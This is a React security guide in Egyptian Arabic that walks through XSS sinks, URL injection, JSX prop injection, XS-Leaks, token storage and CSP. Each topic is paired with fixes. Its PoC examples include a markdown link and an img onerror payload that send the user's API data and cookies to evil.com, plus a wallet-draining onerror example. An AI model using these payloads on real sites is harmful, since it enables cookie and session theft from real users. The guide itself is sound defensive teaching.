React Security — اللي اسمه dangerously فعلاً خطر
dangerouslySetInnerHTML و JSX injection و URL handlers و XS-Leaks
React آمن من XSS by default؟ — هو إحنا متأكدين؟
"React بيعمل escape تلقائي". صح.
- يبقى أنا في حماية يا حضرتك! :D
كنت مستنيك تقول كده يا مستجد. متوقّع. تعالى نشوف بقى.
طب الـ dangerouslySetInnerHTML؟
والـ href={userUrl}؟
والـ markdown renderer اللي شغّال في الـ comments؟
والـ window.location = userInput؟
<img src=x onerror=window.ethereum.request(...)>. اللي بيحصل فعلياً؟ كل واحد فتح الـ thread، الـ wallet بتاعه طلب transaction. مفيش 0day. "React آمن" + DOMPurify ناقصة = مليون دولار.dangerouslySetInnerHTML — الباب اللي مفتوح على الآخر
// خطر — markdown-to-HTML بدون sanitize
function Comment({ markdown }) {
const html = markdownToHtml(markdown);
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// PoC في markdown
[click me](javascript:fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com',{method:'POST',body:JSON.stringify(d)})))
// أو HTML inline
<img src=x onerror="document.location='https://evil.com/?c='+document.cookie">
// الإصلاح — DOMPurify دائماً
import DOMPurify from 'isomorphic-dompurify';
const safe = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p','br','b','i','em','strong','a','ul','ol','li','code','pre'],
ALLOWED_ATTR: ['href','title'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
});
return <div dangerouslySetInnerHTML={{ __html: safe }} />;URL Injection — href/src اللي بتسرّب الموقع
// خطر — link مفتوح
<a href={userUrl}>click</a>
// PoC
userUrl = "javascript:alert(1)"
userUrl = "data:text/html,<script>alert(1)</script>"
// الإصلاح — فحص protocol
function safeUrl(u) {
try {
const parsed = new URL(u, location.origin);
if (!['http:','https:','mailto:'].includes(parsed.protocol)) return '#';
return parsed.toString();
} catch { return '#'; }
}
<a href={safeUrl(userUrl)} rel="noopener noreferrer" target="_blank">click</a>
// + rel="noopener" دائماً مع target="_blank"
// لمنع window.opener tabnabbingJSX Injection — حالات نادرة بس بتحرق المشروع
// خطر — element type ديناميكي
function Dynamic({ tag, children }) {
const Tag = tag;
return <Tag>{children}</Tag>;
}
<Dynamic tag={userTag}>x</Dynamic>
// لو tag = "iframe" مع children فيها src → embedded iframe
// أخطر — props spread من user
<Component {...userProps} />
// userProps = {dangerouslySetInnerHTML: {__html: '<img src=x onerror=...>'}}
// الإصلاح — allowlist للـ tags + لا تنشر user props مباشرة
const ALLOWED_TAGS = ['p','span','div','section','article'];
const Tag = ALLOWED_TAGS.includes(userTag) ? userTag : 'span';Refs و الـ DOM escapes — لما بتلف على React
ساعات بتحتاج DOM API مباشرة، و ده مفيش منه مفر. بس أي استخدام لـ .innerHTML أو document.write أو eval جوا useEffect معناه إنك خرجت من حماية React بإيدك. اللي بعدها مسؤوليتك.
// خطر
function Editor({ html }) {
const ref = useRef(null);
useEffect(() => {
if (ref.current) ref.current.innerHTML = html; // XSS
}, [html]);
return <div ref={ref} />;
}
// آمن — DOMPurify أو textContent
useEffect(() => {
if (ref.current) ref.current.innerHTML = DOMPurify.sanitize(html);
}, [html]);
// أو لـ النص فقط
ref.current.textContent = userText; // آمنHydration Mismatch — عندما يصبح الـ Warning ثغرة
الـ SSR/CSR لما بيختلفوا React بيطبع warning. بس الـ warning ده بيكشف معلومة: هل القيمة دي موجودة على السيرفر؟. المهاجم بياخد ده و يستخدمه كـ oracle شبيه بالـ CSRF.
// مثال: AB test مرتبط بـ user
function Hero() {
const variant = useABTest(); // يستخدم cookie
return <div data-variant={variant}>{variant === 'A' ? 'Hi A' : 'Hi B'}</div>;
}
// مهاجم يضع iframe لـ /, ثم يقرأ console errors عبر postMessage abuse
// أو يُولّد differences في DOM يقرأها
// الإصلاح — لا تُنشئ DOM مختلف بناءً على per-user data في SSR
// استخدم useEffect للتحديث post-hydration:
const [variant, setVariant] = useState('A');
useEffect(() => setVariant(getVariant()), []);State Management — فخاخ Redux و Zustand
- Tokens في localStorage — أي XSS = الـ token اتسرق. خلاص. استخدم httpOnly cookies.
- Persisted state (redux-persist) — راجع المحتوى اللي بيرجع. مهاجم عنده XSS بيكتب state خبيث و يفضل قاعد فيه حتى لو قفلت الثغرة.
- Reducer trust — الـ Reducers بتفترض إن الـ actions جاية من مصدر موثوق. لو فيه middleware بيقبل actions من input المستخدم — prototype pollution على الباب.
- Devtools في الـ production — Redux DevTools لازم يبقى process.env.NODE_ENV === 'development' بس. غير كده إنت بتفرّج المهاجم على كل حاجة.
CSP و Trusted Types — دي السكة الجد
حتى لو نسيت DOMPurify مرة (و ده هيحصل، أنت بني آدم)، CSP صح بيقتل الـ XSS قبل ما يلحق ينفّذ.
# Strict CSP for React
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{rand}' 'strict-dynamic';
style-src 'self' 'unsafe-inline'; ← React inline styles
img-src 'self' data: https:;
connect-src 'self' https://api.target.gov;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
require-trusted-types-for 'script';
trusted-types default;// Trusted Types — Chrome، Edge
// يمنع innerHTML = string؛ يقبل فقط TrustedHTML
if (window.trustedTypes) {
const policy = trustedTypes.createPolicy('default', {
createHTML: (s) => DOMPurify.sanitize(s, { RETURN_TRUSTED_TYPE: true }),
});
el.innerHTML = policy.createHTML(dangerous);
}
// React 18+ يدعم Trusted Types؛ تأكد أن مكتباتك (markdown, charting) تدعمها
// عبر setting compatible policySupply Chain — مخاطر npm و الـ CDN
- Compromised dependencies — نفس قصة Node. حدّث react, react-dom، و كل مكتباتك. اللي مش بيحدّث بيعيش بنصف عقل.
- CDN scripts (analytics, A/B) — من غير integrity SRI كل أمن التطبيق بتاعك بيقع في ثانية.
- Browser extension supply chain — متأمنش لأي حاجة موجودة على الـ client. الـ client أرض عدوانية.
<script
src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>XS-Leaks — تسريبات بتعدي الحدود
حتى مع SOP و CSP، الـ browser side-channels لسه بتسرّب معلومات. مهاجم على موقع تاني بيحمّل تطبيقك في iframe أو window و بيقيس:
- Frame counting — كام iframe بيرسمه target.com/profile؟ ده بيفضح عدد الـ widgets في كل حالة.
- window.length — قبل و بعد الـ login.
- Cache timing — هل الـ resource cached؟ → اليوزر داخل بحسابه.
- postMessage leaks — listener على "*". ده عك صريح.
- Navigation timing — تحميل /admin أخد قد إيه؟ → admin أو لأ.
- Cross-Origin-Opener-Policy: same-origin
- Cross-Origin-Embedder-Policy: require-corp
- Cross-Origin-Resource-Policy: same-site
- X-Frame-Options: DENY (أو CSP frame-ancestors).
- postMessage: قارن الـ event.origin بـ allowlist صريح. متسيبش "*" أبداً.
- SameSite=strict cookies بتقفل كتير من سيناريوهات الـ cross-site.
CVEs بتاعة React — اللي لازم تبقى عارفها
- CVE-2018-6341 (react-dom) — XSS عن طريق attributes في server renderer قديم.
- react-router — كذا CVE، أشهرهم open redirect عن طريق basename.
- next/router historical — open redirect برضو.
- Material-UI / antd / chakra — sanitization ناقص في الـ tooltip/popover.
- react-markdown — قبل v6 كان بيقبل raw HTML افتراضياً. v6+ آمن، بس لسه محتاج config مظبوط.
Authentication — هنا تطبيقات React بتعك
// خطأ شائع — token في localStorage
localStorage.setItem('token', jwt);
fetch('/api', { headers: { Authorization: 'Bearer ' + jwt } });
// أي XSS = سرقة token → session takeover
// الأفضل — httpOnly cookie + CSRF token
// خادم: Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
// client: لا يلمس الكوكي
fetch('/api', { credentials: 'include', headers: { 'X-CSRF-Token': csrfToken } });
// لـ SPA + token-based — استخدم BFF (Backend for Frontend) pattern
// Cookie ↔ BFF ↔ Auth Server (token تبقى على الـ BFF)Code Review لـ React — الـ checklist اللي بتمشي بيه
- دور على dangerouslySetInnerHTML — كل instance لازم يبقى ليه سبب + DOMPurify. غير كده احذفه.
- دور على .innerHTML, document.write, eval, new Function.
- افحص كل href ديناميكي — بيفلتر javascript: ولا لأ؟
- افحص كل target="_blank" — معاه rel="noopener" ولا منسي؟
- افحص كل postMessage — بيتحقق من origin؟
- افحص localStorage — فيه tokens أو PII؟ المفروض مفيش.
- افحص الـ env leaks — REACT_APP_ / VITE_ بتظهر في الـ bundle. أي سر هنا = سر متسرب.
- افحص الـ redirects — بيمنع //evil.com؟
غلطات الـ junior في React
- JWT في localStorage — أول XSS = الـ token مع المهاجم. استخدم HttpOnly cookies.
- "React بيعمل escape، فأنا آمن" — مش هنا. الـ href الديناميكي مش بيتعمله escape زي string. javascript: بتعدّي.
- VITE_API_KEY في .env — كل حاجة بـ VITE_ أو REACT_APP_ بتطلع في الـ bundle. أي حد بيقرا الـ source يلاقيها.
- target="_blank" بدون rel="noopener noreferrer" — الموقع المفتوح بيقدر يعدّل window.opener. tabnabbing كلاسيكي.
- postMessage بيقبل من أي origin — اللعبة الفضلى للـ iframe-based attacks.
- dangerouslySetInnerHTML على markdown — من غير DOMPurify. نفس قصة marked + DeFi.
الخلاصة الناشفة
اكتبها على الموبايل قدامك:
React مش "آمن بنفسه" — React "بيقلّل المساحة المكشوفة".
اللي فاضل، إنت مسؤول عنه: الـ HTML اللي بتـ render، الـ URLs اللي بتـ click عليها، الـ secrets اللي بتحطها في الـ bundle.
أمن الـ frontend مش "tooling" — هو طريقة تفكير. كل property ديناميكية = decision عن الـ trust.
اوعى تثق في الـ client. الـ client أرض عدوانية.